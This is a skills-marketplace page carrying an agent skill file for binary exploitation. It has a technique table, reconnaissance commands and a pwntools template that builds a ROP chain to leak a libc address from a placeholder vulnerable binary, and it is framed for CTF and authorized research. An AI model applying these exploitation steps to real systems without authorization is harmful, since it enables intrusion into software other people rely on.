# Binary Exploitation

> <!-- Copyright (c) 2026 defconxt. All rights reserved. -->

- Skill: `majiayu000/binary-exploitation` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds add majiayu000/binary-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/majiayu000/binary-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: majiayu000 (https://skillmd.com/u/majiayu000)
- Updated: 2026-09-09
- Page: https://skillmd.com/skills/majiayu000/binary-exploitation

---


<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- CIPHER is a trademark of defconxt. -->
---
name: binary-exploitation
description: >-
  Binary exploitation covering ROP chain construction, buffer overflow attacks,
  format string vulnerabilities, heap exploitation, ASLR and stack canary bypasses,
  custom shellcode generation, return-to-libc attacks, use-after-free exploitation,
  binary protection analysis, integer overflow vulnerabilities, and kernel exploitation.
  Enables offensive security research and CTF preparation with pwntools, GEF, checksec,
  and ROPgadget tooling.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - binary-exploitation
  - rop-chains
  - buffer-overflow
  - format-string
  - heap-exploitation
  - aslr-bypass
  - stack-canary
  - shellcode
  - return-to-libc
  - use-after-free
  - integer-overflow
  - kernel-exploitation
  - pwntools
  - gef
  - checksec
  - ropgadget
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1203", "T1068", "T1190", "T1211", "T1210"]
  cwe: ["CWE-120", "CWE-122", "CWE-134", "CWE-190", "CWE-416", "CWE-787"]
  frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
---

# Binary Exploitation

## When to Use

Activate when the operator asks about exploit development, ROP chain construction,
buffer overflow attacks, format string bugs, heap exploitation, ASLR or canary
bypasses, shellcode generation, return-to-libc, use-after-free vulnerabilities,
integer overflows, kernel exploitation, or binary protection analysis.

Mode: `[MODE: RED]` for exploit development and attack research; `[MODE: PURPLE]` for detection validation; `[MODE: BLUE]` for hardening recommendations.

## Prerequisites

- Tools: `python3`, `pwntools`, `gdb` with GEF/pwndbg, `checksec`, `ROPgadget`, `one_gadget`
- Target binary with known vulnerability class
- Authorization and signed Rules of Engagement (RoE)
- Isolated lab environment for exploit testing

## Quick Reference

| Technique | Primary Tools | CWE |
|-----------|--------------|-----|
| ROP chains | ROPgadget, pwntools ROP | CWE-120 |
| Buffer overflow | pwntools, GEF, pattern_create | CWE-120 |
| Format string | pwntools fmtstr, %n writes | CWE-134 |
| Heap exploitation | pwntools, GEF heap commands | CWE-122 |
| ASLR bypass | pwntools, info leaks, ret2plt | CWE-330 |
| Stack canary bypass | info leaks, brute force, fork | CWE-693 |
| Shellcode | pwntools shellcraft, msfvenom | CWE-94 |
| Return-to-libc | pwntools, libc-database | CWE-120 |
| Use-after-free | GEF, heap analysis, tcache | CWE-416 |
| Binary protection analysis | checksec, readelf, LIEF | — |
| Integer overflow | source audit, fuzzing | CWE-190 |
| Kernel exploitation | kernel modules, QEMU, kASLR | CWE-787 |

## Workflow

### Step 1: Binary Reconnaissance

```bash
# Analyze binary protections
checksec --file=./vuln_binary

# Enumerate ROP gadgets
ROPgadget --binary ./vuln_binary --ropchain

# Find one_gadget offsets in libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
```

### Step 2: Vulnerability Identification

```python
from pwn import *

# Load binary and inspect symbols
elf = ELF("./vuln_binary")
print(f"Entry: {hex(elf.entry)}")
print(f"GOT:   {elf.got}")
print(f"PLT:   {elf.plt}")

# Check security properties
print(f"NX:      {elf.nx}")
print(f"PIE:     {elf.pie}")
print(f"Canary:  {elf.canary}")
print(f"RELRO:   {elf.relro}")
```

### Step 3: Exploit Development

```python
from pwn import *

context.binary = elf = ELF("./vuln_binary")
context.log_level = "debug"

# Establish connection
p = process(elf.path)
# p = remote("target.ctf", 1337)

# Build ROP chain
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.entry)

# Construct payload
offset = 72  # determined via cyclic pattern
payload = flat(
    b"A" * offset,
    rop.chain(),
)

p.sendline(payload)
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
```

### Step 4: Post-Exploitation Verification

```bash
# Verify exploit reliability
for i in $(seq 1 10); do
    python3 exploit.py && echo "Run $i: SUCCESS" || echo "Run $i: FAIL"
done
```

## Verification

- [ ] Binary protections enumerated with checksec
- [ ] Vulnerability class identified and confirmed
- [ ] Exploit achieves code execution reliably
- [ ] Payload accounts for target protections (NX, ASLR, canary, PIE)
- [ ] Detection opportunities documented for blue team

## References

- [pwntools Documentation](https://docs.pwntools.com/) — Python exploitation framework
- [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) — ROP gadget finder
- [GEF](https://hugsy.github.io/gef/) — GDB Enhanced Features for exploit development
- [checksec](https://github.com/slimm609/checksec.sh) — Binary protection analysis
- [one_gadget](https://github.com/david942j/one_gadget) — One-shot RCE gadget finder
- [MITRE ATT&CK T1203](https://attack.mitre.org/techniques/T1203/) — Exploitation for Client Execution